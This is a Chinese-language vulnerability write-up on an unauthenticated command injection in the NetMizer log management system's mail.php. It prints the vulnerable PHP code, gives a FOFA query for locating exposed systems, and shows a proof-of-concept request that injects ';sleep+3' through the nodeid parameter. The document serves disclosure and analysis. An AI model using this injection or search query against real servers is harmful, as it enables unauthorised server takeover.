漏洞简介

NetMizer日志管理系统是一款专为网络流量管理和优化设计的日志记录与分析工具，能够高效采集、存储和分析网络设备及应用的日志数据。然而，该系统中的 /data/search/mail.php 文件存在命令执行漏洞。未经身份验证的攻击者可以通过该漏洞在服务器端任意执行命令，写入后门程序，获取服务器权限，进而控制整个Web服务器。

影响版本

老旧版本

fofa语法

body="日志管理系统" && body="NetMizer"

漏洞分析

看下 mail.php 业务实现关键逻辑部分

<?php
        include('../include/JSON.php');

        $cmd = "/var/www/cgi-bin/search_mail";

        list($year,$month,$day,$hour,$min,$second)=split(":| |-", $starttime);
        $start_time = mktime($hour, $min, $second, $month,$day,$year);
        $cmd .= " -s $start_time";
        list($year,$month,$day,$hour,$min,$second)=split(":| |-", $stoptime);
        $stop_time  = mktime($hour, $min, $second, $month,$day,$year);
        $cmd .= " -e $stop_time";

        if($nodeid != ""){
                $sql_nodeid = " and nodeid = ".ip2long($nodeid)." ";
                $cmd .= " -n $nodeid";
        } else        $sql_nodeid = "";

        $srcip = $src;
        if($srcip == ""){
                $srcid = "-1";
        } else $srcid = ip2long($srcip); 
        if($srcid != "-1"){
                $sql_srcid = " and src_addr = $srcid ";
                $cmd .= " -S $srcid";
        } else {
                $sql_srcid = "";
        }

        $user = $username;
        if($user != ""){
                $sql_user = " and user_name = \"$user\" ";
                $cmd .= " -u $user";
        } else {
                $sql_user = "";
        }

        if($send_user != ""){
                $sql_mail = " and send_user = \"$send_user\" ";
                $cmd .= " -q $send_user";
        } else {
                $sql_mail = "";
        }

        if($action == 'file'){
                //echo $cmd."\n";
                $fp = @popen($cmd,"r");
                if(!$fp){
                        echo '{"success":true,"info":"no data"}';
                        return;
                }

                if($csv){
                        Header("Content-type: application/octet-stream; filename=\"QQ$qq查询统计.csv\"");
                        Header("Content-Disposition: attachment; filename=\"QQ$qq查询统计.csv\"");
                        echo "序号,用户名称,设备节点,登录时间,登录QQ号,登录地址,登录端口,目标地址,目标端口\n";
                        $i = 0;
                        while($line = fgets($fp)){
                                $line = str_replace(PHP_EOL,'',$line);
                                $items = explode(",",$line);
                                echo ($i + 1).",".
                                        $items[1].",".
                                        $items[0].",".
                                        $items[12].",".
                                        $items[6].",".
                                        $items[2].",".
                                        $items[4].",".
                                        $items[3].",".
                                        $items[5]."\n";
                                $i ++;
                        }
                        mysql_close($conn_id);
                        return;
                }

                $i = 0;
                $ra = array();
                while($line = fgets($fp)){
                        if($i >= $start && $i < $start+$limit){
                                $line = str_replace(PHP_EOL,'',$line);
                                $items = explode(",",$line);
                                $ra[] = array(
                                        "top"=>$i + 1,
                                        "user_name"=>$items[1],
                                        "create_time"=>$items[12],
                                        "from_num"=>$items[6],
                                        "src_addr"=>$items[2],
                                        "src_port"=>$items[4],
                                        "dst_addr"=>$items[3],
                                        "dst_port"=>$items[5],
                                        "nodeid"=>$items[0]
                                );
                        }
                        $i ++;
                }
                pclose($fp);
                $str = array("success"=>'success', "total"=>$i, "datas"=>$ra);
                $json = json_encode($str);
                echo $json;
                return;
        }

        $conn_id = mysql_connect($dsn,$dbuser,$dbpasswd);
        mysql_select_db("sysmonitor");
        $sqlstr = "select * from tbl_mail_log where create_time>=$start_time and create_time<$stop_time $sql_nodeid $sql_user $sql_srcid $sql_mail order by create_time desc";
        $res=mysql_query($sqlstr);

        if($csv){
                Header("Content-type: application/octet-stream; filename=\"邮件$send_user查询统计.csv\"");
                Header("Content-Disposition: attachment; filename=\"邮件$send_user查询统计.csv\"");
                echo "序号,用户名称,设备节点,登录时间,发件人,主题,协议,来源地址,来源端口,目标地址,目标端口\n";
                $i = 0;
                while($row = mysql_fetch_array($res,MYSQL_BOTH)){
                        $subject = $row["subject"];
                        $subject = str_replace(',','%2C',$subject);
                        $subject = mb_check_encoding($subject, 'UTF-8') ? mb_convert_encoding($subject, 'gbk', 'UTF-8') : $subject;
                        $type = $row['mail_type'];
                        if($type == 1) $type = 'SMTP';
                        else if($type == 2) $type = 'POP3';
                        else if($type == 3) $type = 'IMAP';
                        echo ($i + 1).",".
                                $row["user_name"].",".
                                long2ip($row["nodeid"]).",".
                                date("y-m-d H:i:s", $row["create_time"]).",".
                                $row["send_user"].",".
                                $subject.",".
                                $type.",".
                                long2ip($row["src_addr"]).",".
                                $row["src_port"].",".
                                long2ip($row["dst_addr"]).",".
                                $row["dst_port"]."\n";
                        $i ++;
                }
                mysql_close($conn_id);
                return;
        }

        $i = 0;
        $ra = array();
        while($row = mysql_fetch_array($res,MYSQL_BOTH)){
                if($i >= $start && $i < $start+$limit)
                        $subject = $row["subject"];
                        $subject = mb_check_encoding($subject, 'UTF-8') ? $subject : mb_convert_encoding($subject, 'UTF-8', 'gbk');
                        $ra[] = array(
                                "top"=>$i + 1,
                                "user_name"=>$row["user_name"],
                                "create_time"=>date("y-m-d H:i:s", $row["create_time"]),
                                "send_user"=>$row["send_user"],
                                "subject"=>$subject,
                                "mail_type"=>$row["mail_type"],
                                "src_addr"=>long2ip($row["src_addr"]),
                                "src_port"=>$row["src_port"],
                                "dst_addr"=>long2ip($row["dst_addr"]),
                                "dst_port"=>$row["dst_port"],
                                "nodeid"=>long2ip($row["nodeid"])
                        );
                $i ++;
        }
        mysql_close($conn_id);
        $str = array("success"=>'success', "total"=>$i, "datas"=>$ra);
        $json = json_encode($str);
        echo $json;
?>

在构建外部命令 $cmd 时，直接将用户可控参数（如 $nodeid、$srcid、$user 和 $send_user）拼接进命令字符串中，并通过 popen($cmd, "r") 执行。该过程未对用户输入进行任何过滤或转义，导致攻击者可以通过这些参数注入额外的命令，造成命令注入漏洞。

漏洞复现

漏洞利用示例

GET /data/search/mail.php?action=file&nodeid=1;sleep+3 HTTP/1.1
Host: netmizer.mrxn.net

成功执行 延时 3 秒